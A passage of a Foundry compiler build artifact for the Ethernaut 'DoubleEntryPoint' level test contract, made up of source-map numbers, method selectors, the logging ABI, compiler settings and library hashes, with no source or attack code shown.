:30;8403:39;8389:53;;8477:2;8469:6;8465:15;8498:1;8508:255;8522:6;8519:1;8516:13;8508:255;;;8615:2;8611:7;8599:9;8591:6;8587:22;8583:36;8578:3;8571:49;8643:40;8676:6;8667;8661:13;8643:40;:::i;:::-;8633:50;-1:-1:-1;8741:12:155;;;;8706:15;;;;8544:1;8537:9;8508:255;;;-1:-1:-1;8780:6:155;;7989:803;-1:-1:-1;;;;;;;7989:803:155:o;8797:258::-;8856:6;8909:2;8897:9;8888:7;8884:23;8880:32;8877:52;;;8925:1;8922;8915:12;8877:52;8964:9;8951:23;8983:42;9019:5;8983:42;:::i;9310:429::-;9397:6;9405;9458:2;9446:9;9437:7;9433:23;9429:32;9426:52;;;9474:1;9471;9464:12;9426:52;9513:9;9500:23;9532:42;9568:5;9532:42;:::i;:::-;9593:5;-1:-1:-1;9650:2:155;9635:18;;9622:32;9663:44;9622:32;9663:44;:::i;:::-;9726:7;9716:17;;;9310:429;;;;;:::o;10183:184::-;-1:-1:-1;;;10232:1:155;10225:88;10332:4;10329:1;10322:15;10356:4;10353:1;10346:15;11782:186;11845:4;11878:18;11870:6;11867:30;11864:56;;;11900:18;;:::i;:::-;-1:-1:-1;11945:1:155;11941:14;11957:4;11937:25;;11782:186::o;11973:321::-;12048:5;12077:53;12093:36;12122:6;12093:36;:::i;12077:53::-;12068:62;;12153:6;12146:5;12139:21;12193:3;12184:6;12179:3;12175:16;12172:25;12169:45;;;12210:1;12207;12200:12;12169:45;12223:65;12281:6;12274:4;12267:5;12263:16;12258:3;12223:65;:::i;12299:235::-;12352:5;12405:3;12398:4;12390:6;12386:17;12382:27;12372:55;;12423:1;12420;12413:12;12372:55;12445:83;12524:3;12515:6;12509:13;12502:4;12494:6;12490:17;12445:83;:::i;12539:149::-;12618:13;;12640:42;12618:13;12640:42;:::i;:::-;12539:149;;;:::o;12693:2249::-;12810:6;12841:2;12884;12872:9;12863:7;12859:23;12855:32;12852:52;;;12900:1;12897;12890:12;12852:52;12933:9;12927:16;12962:18;13003:2;12995:6;12992:14;12989:34;;;13019:1;13016;13009:12;12989:34;13057:6;13046:9;13042:22;13032:32;;13102:7;13095:4;13091:2;13087:13;13083:27;13073:55;;13124:1;13121;13114:12;13073:55;13153:2;13147:9;13176:63;13192:46;13235:2;13192:46;:::i;13176:63::-;13273:15;;;13355:1;13351:10;;;;13343:19;;13339:28;;;13304:12;;;;13379:19;;;13376:39;;;13411:1;13408;13401:12;13376:39;13443:2;13439;13435:11;13455:1457;13471:6;13466:3;13463:15;13455:1457;;;13550:3;13544:10;13586:2;13573:11;13570:19;13567:39;;;13602:1;13599;13592:12;13567:39;13629:20;;13701:4;13673:16;;;-1:-1:-1;;13669:30:155;13665:41;13662:61;;;13719:1;13716;13709:12;13662:61;13749:22;;:::i;:::-;13814:2;13810;13806:11;13800:18;13847:2;13837:8;13834:16;13831:36;;;13863:1;13860;13853:12;13831:36;13890:17;;13942:2;13934:11;;13930:25;-1:-1:-1;13920:53:155;;13969:1;13966;13959:12;13920:53;14010:2;14006;14002:11;13996:18;14040:63;14056:46;14099:2;14056:46;:::i;14040:63::-;14147:17;;;14245:1;14241:10;;;;14233:19;;14254:2;14229:28;;14186:14;;;;14273:21;;;14270:41;;;14307:1;14304;14297:12;14270:41;14345:2;14341;14337:11;14324:24;;14361:167;14379:8;14372:5;14369:19;14361:167;;;14461:12;;14447:27;;14400:14;;;;14500;;;;14361:167;;;14541:20;;-1:-1:-1;;;14604:2:155;14596:11;;14590:18;14624:16;;;14621:36;;;14653:1;14650;14643:12;14621:36;14693:64;14749:7;14744:2;14733:8;14729:2;14725:17;14721:26;14693:64;:::i;:::-;14688:2;14681:5;14677:14;14670:88;;14794:44;14832:4;14828:2;14824:13;14794:44;:::i;:::-;14789:2;14778:14;;14771:68;14852:18;;-1:-1:-1;14890:12:155;;;;13488;;13455:1457;;;-1:-1:-1;14931:5:155;12693:2249;-1:-1:-1;;;;;;;;12693:2249:155:o;14947:184::-;-1:-1:-1;;;14996:1:155;14989:88;15096:4;15093:1;15086:15;15120:4;15117:1;15110:15;15136:128;15203:9;;;15224:11;;;15221:37;;;15238:18;;:::i;15269:458::-;15349:6;15402:2;15390:9;15381:7;15377:23;15373:32;15370:52;;;15418:1;15415;15408:12;15370:52;15451:9;15445:16;15484:18;15476:6;15473:30;15470:50;;;15516:1;15513;15506:12;15470:50;15539:22;;15592:4;15584:13;;15580:27;-1:-1:-1;15570:55:155;;15621:1;15618;15611:12;15570:55;15644:77;15713:7;15708:2;15702:9;15697:2;15693;15689:11;15644:77;:::i;:::-;15634:87;15269:458;-1:-1:-1;;;;15269:458:155:o;15732:939::-;16244:7;16239:3;16232:20;16214:3;16281:6;16275:13;16297:74;16364:6;16360:1;16355:3;16351:11;16344:4;16336:6;16332:17;16297:74;:::i;:::-;16434:7;16430:1;16390:16;;;16422:10;;;16415:27;16467:13;;16489:76;16467:13;16551:2;16543:11;;16536:4;16524:17;;16489:76;:::i;:::-;16630:7;16625:2;16584:17;;;;16617:11;;;16610:28;16662:2;16654:11;;15732:939;-1:-1:-1;;;;15732:939:155:o;16676:496::-;16855:3;16893:6;16887:13;16909:66;16968:6;16963:3;16956:4;16948:6;16944:17;16909:66;:::i;:::-;17038:13;;16997:16;;;;17060:70;17038:13;16997:16;17107:4;17095:17;;17060:70;:::i;:::-;17146:20;;16676:496;-1:-1:-1;;;;16676:496:155:o;17177:220::-;17326:2;17315:9;17308:21;17289:4;17346:45;17387:2;17376:9;17372:18;17364:6;17346:45;:::i;17402:437::-;17481:1;17477:12;;;;17524;;;17545:61;;17599:4;17591:6;17587:17;17577:27;;17545:61;17652:2;17644:6;17641:14;17621:18;17618:38;17615:218;;-1:-1:-1;;;17686:1:155;17679:88;17790:4;17787:1;17780:15;17818:4;17815:1;17808:15;17615:218;;17402:437;;;:::o;17844:270::-;17922:6;17975:2;17963:9;17954:7;17950:23;17946:32;17943:52;;;17991:1;17988;17981:12;17943:52;18023:9;18017:16;18042:42;18078:5;18042:42;:::i;19640:184::-;19710:6;19763:2;19751:9;19742:7;19738:23;19734:32;19731:52;;;19779:1;19776;19769:12;19731:52;-1:-1:-1;19802:16:155;;19640:184;-1:-1:-1;19640:184:155:o;19829:125::-;19894:9;;;19915:10;;;19912:36;;;19928:18;;:::i;20141:383::-;20338:2;20327:9;20320:21;20301:4;20364:45;20405:2;20394:9;20390:18;20382:6;20364:45;:::i;:::-;20457:9;20449:6;20445:22;20440:2;20429:9;20425:18;20418:50;20485:33;20511:6;20503;20485:33;:::i;:::-;20477:41;20141:383;-1:-1:-1;;;;;20141:383:155:o;20529:335::-;20608:6;20661:2;20649:9;20640:7;20636:23;20632:32;20629:52;;;20677:1;20674;20667:12;20629:52;20710:9;20704:16;20743:18;20735:6;20732:30;20729:50;;;20775:1;20772;20765:12;20729:50;20798:60;20850:7;20841:6;20830:9;20826:22;20798:60;:::i","linkReferences":{}},"methodIdentifiers":{"IS_TEST()":"fa7626d4","createLevelInstance(address,address,uint256)":"1c7db669","createUsers(uint256)":"792e11f5","excludeArtifacts()":"b5508aa9","excludeContracts()":"e20c9f71","excludeSenders()":"1ed7831c","failed()":"ba414fa6","getEthernautWithStatsProxy(address)":"85db81cc","getNextUserAddress()":"b90a68fa","getOldFactory(string)":"2356661a","mineBlocks(uint256)":"f82de7b0","setUp()":"0a9254e4","submitLevelInstance(address,address)":"9b59adbc","targetArtifactSelectors()":"66d9a9a0","targetArtifacts()":"85226c81","targetContracts()":"3f7286f4","targetInterfaces()":"2ade3880","targetSelectors()":"916a17c6","targetSenders()":"3e5e3c23","testInit()":"b5d11e99","testSolve()":"832e5fc2"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"log_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"log_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"\",\"type\":\"int256\"}],\"name\":\"log_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256[]\",\"name\":\"val\",\"type\":\"uint256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256[]\",\"name\":\"val\",\"type\":\"int256[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"address[]\",\"name\":\"val\",\"type\":\"address[]\"}],\"name\":\"log_named_array\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"val\",\"type\":\"bytes\"}],\"name\":\"log_named_bytes\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"key\",\"type\":\"string\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"name\":\"log_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"log_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"contract Level\",\"name\":\"level\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"createLevelInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"userNum\",\"type\":\"uint256\"}],\"name\":\"createUsers\",\"outputs\":[{\"internalType\":\"address payable[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"excludedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"excludeSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"excludedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"name\":\"getEthernautWithStatsProxy\",\"outputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNextUserAddress\",\"outputs\":[{\"internalType\":\"address payable\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"contractName\",\"type\":\"string\"}],\"name\":\"getOldFactory\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"numBlocks\",\"type\":\"uint256\"}],\"name\":\"mineBlocks\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"contract Ethernaut\",\"name\":\"ethernaut\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"instance\",\"type\":\"address\"}],\"name\":\"submitLevelInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifactSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedArtifactSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetArtifacts\",\"outputs\":[{\"internalType\":\"string[]\",\"name\":\"targetedArtifacts_\",\"type\":\"string[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetContracts\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedContracts_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetInterfaces\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"string[]\",\"name\":\"artifacts\",\"type\":\"string[]\"}],\"internalType\":\"struct StdInvariant.FuzzInterface[]\",\"name\":\"targetedInterfaces_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSelectors\",\"outputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"},{\"internalType\":\"bytes4[]\",\"name\":\"selectors\",\"type\":\"bytes4[]\"}],\"internalType\":\"struct StdInvariant.FuzzSelector[]\",\"name\":\"targetedSelectors_\",\"type\":\"tuple[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"targetSenders\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"targetedSenders_\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testInit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"testSolve\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"testInit()\":{\"notice\":\"Check the intial state of the level and enviroment.\"},\"testSolve()\":{\"notice\":\"Test the solution for the level.\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"test/levels/DoubleEntryPoint.t.sol\":\"TestDoubleEntryPoint\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/Base.sol\":{\"keccak256\":\"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224\",\"dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK\"]},\"lib/forge-std/src/StdAssertions.sol\":{\"keccak256\":\"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c\",\"dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k\"]},\"lib/forge-std/src/StdChains.sol\":{\"keccak256\":\"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b\",\"dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj\"]},\"lib/forge-std/src/StdCheats.sol\":{\"keccak256\":\"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2\",\"dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc\"]},\"lib/forge-std/src/StdError.sol\":{\"keccak256\":\"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6\",\"dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj\"]},\"lib/forge-std/src/StdInvariant.sol\":{\"keccak256\":\"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d\",\"dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz\"]},\"lib/forge-std/src/StdJson.sol\":{\"keccak256\":\"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea